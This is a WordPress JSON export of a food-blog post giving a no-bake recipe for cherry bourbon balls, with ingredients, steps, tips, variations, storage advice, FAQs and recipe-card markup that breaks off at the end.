{"id":53931,"date":"2025-11-29T08:03:30","date_gmt":"2025-11-29T08:03:30","guid":{"rendered":"https:\/\/9amchef.com\/?p=53931"},"modified":"2025-11-29T08:05:37","modified_gmt":"2025-11-29T08:05:37","slug":"easy-cherry-bourbon-balls-top-christmas-candy-recipes","status":"publish","type":"post","link":"https:\/\/9amchef.com\/easy-cherry-bourbon-balls-top-christmas-candy-recipes\/","title":{"rendered":"Easy Cherry Bourbon Balls \u2014 Top Christmas Candy Recipes Pick"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>Christmas Candy Recipes<\/strong> \u2014 Easy Cherry Bourbon Balls (No-Bake, Crowd-Pleasing)<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Christmas Candy Recipes<\/strong> get a grown-up makeover with these Easy Cherry Bourbon Balls: boozy-tasting, no-bake bites that pair rich chocolate, tart cherry, and warm bourbon notes for a holiday treat that looks and tastes like you spent all day in the kitchen \u2014 but didn\u2019t.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Why you\u2019ll fall for these<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These little gems hit all the right buttons: fudgy texture, deep chocolate, a pop of cherry, and that subtle bourbon warmth. They work as a last-minute gift, a showstopping addition to any dessert tray, or a stash-in-the-fridge sweet you\u2019ll defend with pride. <strong>They\u2019re fast, festive, and utterly addictive.<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The story behind the recipe<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">I grew up around Southern tables where boozy confections signaled celebration. This version keeps that tradition alive but trims the fuss: no oven, no crusts, and no fussing. Using dried cherries and good bourbon (or bourbon extract if you prefer non-alcoholic) gives you the classic flavor without complicated technique. It\u2019s smart, nostalgic, and perfectly suited to modern holiday life.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Ingredients \u2014 what each one does (short blurbs)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Crushed vanilla wafers (3 cups)<\/strong> \u2014 the dry base that soaks up flavor and gives structure.<\/li>\n\n\n\n<li><strong>Unsalted butter (1 cup \/ 2 sticks), softened<\/strong> \u2014 adds richness and helps bind the mixture.<\/li>\n\n\n\n<li><strong>Powdered sugar (2 cups + extra for rolling)<\/strong> \u2014 sweetens and creates that classic outer dusting.<\/li>\n\n\n\n<li><strong>Unsweetened cocoa powder (1\/2 cup)<\/strong> \u2014 deep chocolate flavor and color.<\/li>\n\n\n\n<li><strong>Finely chopped dried cherries (1 cup)<\/strong> \u2014 the bright, tangy cherry note\u2014mince them small for even distribution.<\/li>\n\n\n\n<li><strong>Finely chopped pecans or walnuts (1 cup, optional)<\/strong> \u2014 for crunch and nuttiness (toast first for more flavor).<\/li>\n\n\n\n<li><strong>Bourbon (1\/2 cup)<\/strong> \u2014 the signature warmth; sub with strong coffee or cherry juice for non-alcoholic versions.<\/li>\n\n\n\n<li><strong>Pure vanilla extract (2 tsp) &amp; almond extract (1 tsp)<\/strong> \u2014 vanilla smooths; almond amplifies cherry.<\/li>\n\n\n\n<li><strong>Pinch of salt<\/strong> \u2014 balances sweetness and sharpens flavors.<\/li>\n\n\n\n<li><strong>Optional coatings:<\/strong> flaked coconut, cocoa powder, melted chocolate, or crushed nuts.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-2.webp\" alt=\"Close-up of powdered-sugar\u2013coated cherry-chocolate balls arranged on a festive holiday platter, Christmas Candy Recipes.\" class=\"wp-image-53934\" srcset=\"https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-2.webp 1024w, https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-2-300x300.webp 300w, https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-2-150x150.webp 150w, https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-2-768x768.webp 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">How to make them \u2014 step-by-step<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Prep:<\/strong> Line a baking sheet with parchment. Set a shallow dish of powdered sugar nearby. If using nuts, toast and finely chop them. Finely chop cherries (a food processor pulse works nicely \u2014 don\u2019t overdo it).<\/li>\n\n\n\n<li><strong>Crush the wafers:<\/strong> Use a food processor or place wafers in a zip-top bag and crush with a rolling pin until they\u2019re a fine, sand-like crumb. Transfer to a large bowl. Mix in cocoa powder and pinch of salt. Stir in nuts and cherries.<\/li>\n\n\n\n<li><strong>Cream butter &amp; sugar:<\/strong> In a separate bowl, beat the softened butter and powdered sugar until smooth and slightly fluffy \u2014 this helps the mixture bind and gives a silky mouthfeel.<\/li>\n\n\n\n<li><strong>Add bourbon &amp; extracts slowly:<\/strong> Pour the bourbon in small amounts while stirring so the butter emulsion doesn\u2019t break. Stir in vanilla and almond extract. <strong>Add liquids gradually \u2014 this prevents a greasy or runny mix.<\/strong><\/li>\n\n\n\n<li><strong>Combine dry + wet:<\/strong> Pour the wet mixture into the dry crumbs and fold with a spatula. Mix until everything comes together like a thick, slightly sticky dough. If it feels crumbly, add a splash more bourbon or a teaspoon of water; if it\u2019s too wet, add a little more crushed wafers or powdered sugar.<\/li>\n\n\n\n<li><strong>Chill:<\/strong> Cover and refrigerate the dough for at least 2 hours (overnight is best). <strong>Chilling firms the mixture and deepens flavors.<\/strong><\/li>\n\n\n\n<li><strong>Form balls:<\/strong> Scoop portions with a small cookie scoop (about 1\u20131.5 tablespoons) and roll between your palms into smooth balls.<\/li>\n\n\n\n<li><strong>Coat:<\/strong> Roll each ball in powdered sugar, cocoa, nuts, coconut, or drizzle with melted chocolate. Place on the parchment-lined sheet.<\/li>\n\n\n\n<li><strong>Final chill:<\/strong> Pop the tray back in the fridge for 30\u201360 minutes to set before serving or packaging.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Pro tips for perfect results<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Use room-temperature butter<\/strong> so it creams evenly and binds the mixture.<\/li>\n\n\n\n<li><strong>Pulse, don\u2019t puree, cherries<\/strong> in the food processor \u2014 you want small pieces, not paste.<\/li>\n\n\n\n<li><strong>Chill well<\/strong> \u2014 a cold mixture rolls more cleanly and keeps the powdered sugar from dissolving.<\/li>\n\n\n\n<li><strong>If you\u2019re making a large batch, work in small portions<\/strong> to keep the mixture cool.<\/li>\n\n\n\n<li><strong>For clean slices or bites, use a cookie scoop<\/strong> to get uniform pieces that look professional.<\/li>\n\n\n\n<li><strong>For an alcohol-free option<\/strong>, substitute strong brewed coffee + a splash of vanilla and extra almond extract to mimic bourbon\u2019s depth.<\/li>\n\n\n\n<li><strong>Bold tip:<\/strong> <strong>Add extracts last<\/strong> and taste \u2014 extracts pack a punch; adjust carefully.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Variations to try<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Chocolate-dipped:<\/strong> Dip half the balls in melted dark chocolate and chill until the shell sets \u2014 luxe and pretty.<\/li>\n\n\n\n<li><strong>Coconut-coated:<\/strong> Roll in toasted shredded coconut for tropical notes.<\/li>\n\n\n\n<li><strong>Nutty:<\/strong> Roll in finely chopped toasted pecans for extra crunch.<\/li>\n\n\n\n<li><strong>Spiced:<\/strong> Add a pinch of cinnamon or cayenne for a warming twist.<\/li>\n\n\n\n<li><strong>Fruit-forward:<\/strong> Swap cherries for finely chopped dried cranberries or apricots.<\/li>\n\n\n\n<li><strong>Mini cookie sandwiches:<\/strong> Press two balls into each other for a festive sandwich bite.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Best ways to serve<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Dessert boards:<\/strong> Arrange these with cookies, chocolate truffles, and <strong>Soft Sugar Cookies<\/strong> for variety and color contrast.<\/li>\n\n\n\n<li><strong>After-dinner treat:<\/strong> Pair one or two with espresso or demitasse of strong coffee <a href=\"https:\/\/9amchef.com\/garlic-herb-chicken-with-mashed-potatoes-dinner-ideas-main-dishes\/\" data-wpil-monitor-id=\"884\">\u2014<\/a> the bitterness complements the sweetness beautifully.<\/li>\n\n\n\n<li><strong>Gifts:<\/strong> Pack in small boxes with parchment and a ribbon \u2014 they travel well and look elegant.<\/li>\n\n\n\n<li><strong>Party trays:<\/strong> Place on a doily-lined platter with mint sprigs for color; these are perfect at a <strong>Christmas <a href=\"https:\/\/9amchef.com\/no-bake-mini-banana-cream-pies-easy-no-bake-mini-banana-cream-pies-recipe\/\" data-wpil-monitor-id=\"883\">Desserts Party<\/a><\/strong> because they hold up well and look sophisticated.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-3.webp\" alt=\"Close-up of powdered-sugar\u2013coated cherry-chocolate balls arranged on a festive holiday platter, Christmas Candy Recipes.\" class=\"wp-image-53935\" srcset=\"https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-3.webp 1024w, https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-3-300x300.webp 300w, https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-3-150x150.webp 150w, https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-3-768x768.webp 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Storage &amp; make-ahead<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Refrigerator:<\/strong> Store in an airtight container with parchment layers for up to 2\u20133 weeks.<\/li>\n\n\n\n<li><strong>Freezer:<\/strong> Freeze single-layer on a tray, then transfer to a freezer bag. Keeps up to 3 months. Thaw in the fridge.<\/li>\n\n\n\n<li><strong>Make-ahead:<\/strong> These actually improve after sitting for a day as flavors mingle \u2014 excellent for prepping before big holiday events.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">FAQs<\/h3>\n\n\n<div id=\"rank-math-faq\" class=\"rank-math-block\">\n<div class=\"rank-math-list \">\n<div id=\"faq-question-1764397291902\" class=\"rank-math-list-item\">\n<h3 class=\"rank-math-question \">Can I skip the nuts?<\/h3>\n<div class=\"rank-math-answer \">\n\n<p>Absolutely \u2014 they\u2019re optional. If you skip them, add a bit more chopped cherries or crushed wafers for texture.<\/p>\n\n<\/div>\n<\/div>\n<div id=\"faq-question-1764397298238\" class=\"rank-math-list-item\">\n<h3 class=\"rank-math-question \">My mixture won\u2019t hold together. What now?<\/h3>\n<div class=\"rank-math-answer \">\n\n<p>Add a splash more bourbon or a teaspoon of water, mix, then chill \u2014 chilling often saves a crumbly mix.<\/p>\n\n<\/div>\n<\/div>\n<div id=\"faq-question-1764397304455\" class=\"rank-math-list-item\">\n<h3 class=\"rank-math-question \">How boozy will these taste?<\/h3>\n<div class=\"rank-math-answer \">\n\n<p>That depends on the bourbon. Use good-quality bourbon for true warmth; reduce amount for a milder profile or use extract for alcohol-free. These count as <strong>Boozy Desserts<\/strong> when you use real bourbon.<\/p>\n\n<\/div>\n<\/div>\n<div id=\"faq-question-1764397311064\" class=\"rank-math-list-item\">\n<h3 class=\"rank-math-question \">Can I roll them in cocoa instead of powdered sugar?<\/h3>\n<div class=\"rank-math-answer \">\n\n<p>Yes \u2014 cocoa gives a less sweet, more intense chocolate finish.<\/p>\n\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">Where these fit on the holiday table<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These balls make a brilliant complement to <strong><a href=\"https:\/\/9amchef.com\/dubai-chocolate-cake-christmas-dinner-desserts\/\" data-wpil-monitor-id=\"885\">Christmas Dinner Desserts<\/a><\/strong> because they\u2019re portable and richly flavored. For a full board, include a mix of chewy cookies, buttery shortbreads, some <strong>Mint Desserts<\/strong>, and perhaps <strong>Peppermint Brownies<\/strong> to cover every flavor preference. They\u2019re also great alongside classic <strong>Southern Desserts<\/strong>, bringing a luxe note to the spread.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Final thoughts<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These Easy Cherry Bourbon Balls strike a perfect balance between indulgence and simplicity. They\u2019re quick to assemble, endlessly adaptable, and they travel and store well \u2014 everything you want in a holiday candy recipe. Whether you call them bourbon balls, truffles, or festive bites, they earn a spot in your <strong>Christmas Desserts Party<\/strong> rotation and make a standout gift for friends and family. Ready to make a batch? Roll up your sleeves, crank the holiday tunes, and have fun \u2014 these are pure joy in every bite.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Follow me on <strong><a href=\"https:\/\/www.pinterest.com\/jennermoo\/\" target=\"_blank\" data-type=\"link\" data-id=\"https:\/\/www.pinterest.com\/jennermoo\/\" rel=\"noreferrer noopener\">Pinterest <\/a><\/strong>for daily new recipes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-4.webp\" alt=\"Close-up of powdered-sugar\u2013coated cherry-chocolate balls arranged on a festive holiday platter, Christmas Candy Recipes.\" class=\"wp-image-53936\" srcset=\"https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-4.webp 1024w, https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-4-300x300.webp 300w, https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-4-150x150.webp 150w, https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-4-768x768.webp 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<svg aria-hidden=\"true\" style=\"position: absolute;width: 0;height: 0;overflow: hidden\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\">\n<defs>\n<symbol viewbox=\"9 9 46 42\" id=\"wpt-star-full\">\n<path d=\"m46.3 52-14.4-9.5-14.4 9.4L22 35.3 8.7 24.5l17.1-.9 6.2-16 6 16 17.2 1-13.4 10.7z\" \/>\n<\/symbol>\n<\/defs>\n<\/svg>\n<a class=\"button tasty-recipes-print-button tasty-recipes-no-print tasty-recipes-print-above-card\" href=\"https:\/\/9amchef.com\/easy-cherry-bourbon-balls-top-christmas-candy-recipes\/print\/53932\/\">Print<\/a><span class=\"tasty-recipes-jump-target\" id=\"tasty-recipes-53932-jump-target\" style=\"display:block;padding-top:2px;margin-top:-2px;\"><\/span><div id=\"tasty-recipes-53932\" data-tr-id=\"53932\" class=\"tasty-recipes tasty-recipes-53932 tasty-recipes-display tasty-recipes-has-image\" data-tasty-recipes-customization=\"primary-color.background-color\">\n<svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"display: none;\"><defs><symbol id=\"tasty-recipes-icon-clock\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\"><title>clock<\/title> <desc>clock icon<\/desc><path d=\"M22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86L22 5.72zM7.88 3.39L6.6 1.86 2 5.71l1.29 1.53 4.59-3.85zM12.5 8H11v6l4.75 2.85.75-1.23-4-2.37V8zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9zm0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7z\" fill=\"currentColor\" \/><\/symbol><symbol id=\"tasty-recipes-icon-cutlery\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\"><title>cutlery<\/title> <desc>cutlery icon<\/desc><path d=\"M11 9H9V2H7v7H5V2H3v7c0 2.12 1.66 3.84 3.75 3.97V22h2.5v-9.03C11.34 12.84 13 11.12 13 9V2h-2v7zm5-3v8h2.5v8H21V2c-2.76 0-5 2.24-5 4z\" fill=\"currentColor\" \/><\/symbol><symbol id=\"tasty-recipes-icon-flag\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\"><title>flag<\/title> <desc>flag icon<\/desc><path d=\"M14.4 6L14 4H5v17h2v-7h5.6l.4 2h7V6z\" fill=\"currentColor\"\/><\/symbol><symbol id=\"tasty-recipes-icon-folder\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\"><title>folder<\/title> <desc>folder icon<\/desc><path d=\"M10 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8l-2-2z\" fill=\"currentColor\" \/><\/symbol><symbol id=\"tasty-recipes-icon-instagram\" viewBox=\"0 0 448 512\"><title>instagram<\/title> <desc>instagram icon<\/desc><path fill=\"currentColor\" d=\"M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z\"><\/path><\/symbol><symbol id=\"tasty-recipes-icon-pinterest\" viewBox=\"0 0 496 512\"><title>pinterest<\/title> <desc>pinterest icon<\/desc><path fill=\"currentColor\" d=\"M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z\"><\/path><\/symbol><symbol id=\"tasty-recipes-icon-facebook\" viewBox=\"0 0 448 512\"><title>facebook<\/title> <desc>facebook icon<\/desc><path fill=\"currentColor\" d=\"M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z\" \/><\/symbol><symbol id=\"tasty-recipes-icon-print\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\"><title>print<\/title> <desc>print icon<\/desc><path d=\"M19 8H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3zm-3 11H8v-5h8v5zm3-7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm-1-9H6v4h12V3z\" fill=\"currentColor\" \/><\/symbol><symbol id=\"tasty-recipes-icon-squares\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\"><title>squares<\/title> <desc>squares icon<\/desc><path d=\"M22 9V7h-2V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-2h2v-2h-2v-2h2v-2h-2V9h2zm-4 10H4V5h14v14zM6 13h5v4H6zm6-6h4v3h-4zM6 7h5v5H6zm6 4h4v6h-4z\" fill=\"currentColor\" \/><\/symbol><symbol id=\"tasty-recipes-icon-heart-regular\" viewBox=\"0 0 512 512\"><title>heart<\/title> <desc>heart icon<\/desc><path fill=\"currentColor\" d=\"M458.4 64.3C400.6 15.7 311.3 23 256 79.3 200.7 23 111.4 15.6 53.6 64.3-21.6 127.6-10.6 230.8 43 285.5l175.4 178.7c10 10.2 23.4 15.9 37.6 15.9 14.3 0 27.6-5.6 37.6-15.8L469 285.6c53.5-54.7 64.7-157.9-10.6-221.3zm-23.6 187.5L259.4 430.5c-2.4 2.4-4.4 2.4-6.8 0L77.2 251.8c-36.5-37.2-43.9-107.6 7.3-150.7 38.9-32.7 98.9-27.8 136.5 10.5l35 35.7 35-35.7c37.8-38.5 97.8-43.2 136.5-10.6 51.1 43.1 43.5 113.9 7.3 150.8z\"><\/path><\/symbol><symbol id=\"tasty-recipes-icon-heart-solid\" viewBox=\"0 0 512 512\"><title>heart solid<\/title> <desc>heart solid icon<\/desc><path fill=\"currentColor\" d=\"M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z\"><\/path><\/symbol><\/defs><\/svg>\n<header class=\"tasty-recipes-entry-header\">\n\t\t\t<div class=\"tasty-recipes-image\">\n\t\t\t<img loading=\"lazy\" decoding=\"async\" width=\"60\" height=\"60\" src=\"https:\/\/9amchef.com\/wp-content\/uploads\/2025\/11\/Easy-Cherry-Bourbon-Balls-\u2014-Top-Christmas-Candy-Recipes-Pick-150x150.webp\" class=\"attachment-thumbnail size-thumbnail\" alt=\"Close-up of powdered-sugar\u2013coated cherry-chocolate balls arranged on a festive holiday platter, Christmas Candy Recipes.\" data-pin-nopin=\"true\" \/>\t\t<\/div>\n\t\t<div class=\"tasty-recipes-header-content clearfix\">\n\t\t<h2 class=\"tasty-recipes-title\" data-tasty-recipes-customization=\"h2-color.color h2-transform.text-transform\">Easy Cherry Bourbon Balls \u2014 Top Christmas Candy Recipes Pick<\/h2>\n\t\t\t\t\t<div class=\"tasty-recipes-rating\">\n\t\t\t\t<div class=\"tasty-recipes-rating-outer\">\n\t\t\t\t\t<div class=\"tasty-recipes-rating-inner\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"tasty-recipes-rating-stars\"><svg aria-hidden=\"true\" style=\"position: absolute;width: 0;height: 0;overflow: hidden\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\">\n<defs>\n<symbol viewbox=\"9 9 46 42\" id=\"wpt-star-full\">\n<path d=\"m46.3 52-14.4-9.5-14.4 9.4L22 35.3 8.7 24.5l17.1-.9 6.2-16 6 16 17.2 1-13.4 10.7z\" \/>\n<\/symbol>\n<\/defs>\n<\/svg>\n<span class=\"tasty-recipes-ratings-buttons tasty-recipes-no-ratings-buttons\"\tdata-tr-default-rating=\"0\"\t>\t\t<span class=\"tasty-recipes-rating\" >\t\t<i class=\"checked\" data-rating=\"5\">\t\t\t<span class=\"tasty-recipes-rating-solid\" data-tr-clip=\"0\">\t\t\t\t<svg class=\"tasty-recipes-svg\" width=\"18\" height=\"17\"><use href=\"#wpt-star-full\" \/><\/svg>\t\t\t<\/span>\t\t\t<span class=\"tasty-recipes-screen-reader\">\t\t\t\t5 Stars\t\t\t<\/span>\t\t<\/i>\t<\/span>\t\t<span class=\"tasty-recipes-rating\" >\t\t<i class=\"checked\" data-rating=\"4\">\t\t\t<span class=\"tasty-recipes-rating-solid\" data-tr-clip=\"0\">\t\t\t\t<svg class=\"tasty-recipes-svg\" width=\"18\" height=\"17\"><use href=\"#wpt-star-full\" \/><\/svg>\t\t\t<\/span>\t\t\t<span class=\"tasty-recipes-screen-reader\">\t\t\t\t4 Stars\t\t\t<\/span>\t\t<\/i>\t<\/span>\t\t<span class=\"tasty-recipes-rating\" >\t\t<i class=\"checked\" data-rating=\"3\">\t\t\t<span class=\"tasty-recipes-rating-solid\" data-tr-clip=\"0\">\t\t\t\t<svg class=\"tasty-recipes-svg\" width=\"18\" height=\"17\"><use href=\"#wpt-star-full\" \/><\/svg>\t\t\t<\/span>\t\t\t<span class=\"tasty-recipes-screen-reader\">\t\t\t\t3 Stars\t\t\t<\/span>\t\t<\/i>\t<\/span>\t\t<span class=\"tasty-recipes-rating\" >\t\t<i class=\"checked\" data-rating=\"2\">\t\t\t<span class=\"tasty-recipes-rating-solid\" data-tr-clip=\"0\">\t\t\t\t<svg class=\"tasty-recipes-svg\" width=\"18\" height=\"17\"><use href=\"#wpt-star-full\" \/><\/svg>\t\t\t<\/span>\t\t\t<span class=\"tasty-recipes-screen-reader\">\t\t\t\t2 Stars\t\t\t<\/span>\t\t<\/i>\t<\/span>\t\t<span class=\"tasty-recipes-rating\" >\t\t<i class=\"checked\" data-rating=\"1\">\t\t\t<span class=\"tasty-recipes-rating-solid\" data-tr-clip=\"0\">\t\t\t\t<svg class=\"tasty-recipes-svg\" width=\"18\" height=\"17\"><use href=\"#wpt-star-full\" \/><\/svg>\t\t\t<\/span>\t\t\t<span class=\"tasty-recipes-screen-reader\">\t\t\t\t1 Star\t\t\t<\/span>\t\t<\/i>\t<\/span><\/span><\/span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"tasty-recipes-rating-label\"><span data-tasty-recipes-customization=\"detail-label-color.color\" class=\"rating-label\">No reviews<\/span><\/span>\n\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t\t\t\t\t\t<div class=\"tasty-recipes-details\">\n\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t\t\t\t<li class=\"author\"><span class=\"tasty-recipes-label\" data-tasty-recipes-customization=\"detail-label-color.color\">\n\t\t\t\t\t\t\t\t\t\t\t\t\tAuthor:<\/span> <span data-tasty-recipes-customization=\"detail-value-color.color\" class=\"tasty-recipes-author-name\">Jennifer<\/span><\/li>\n\t\t\t\t\t\t\t\t\t\t\t<li class=\"prep-time\"><span class=\"tasty-recipes-label\" data-tasty-recipes-customization=\"detail-label-color.color\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<svg viewBox=\"0 0 24 24\" class=\"detail-icon\" aria-hidden=\"true\" data-tasty-recipes-customization=\"icon-color.color\"><use href=\"#tasty-recipes-icon-clock\"><\/use><\/svg>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tPrep Time:<\/span> <span data-tasty-recipes-customization=\"detail-value-color.color\" class=\"tasty-recipes-prep-time\">30 minutes<\/span><\/li>\n\t\t\t\t\t\t\t\t\t\t\t<li class=\"total-time\"><span 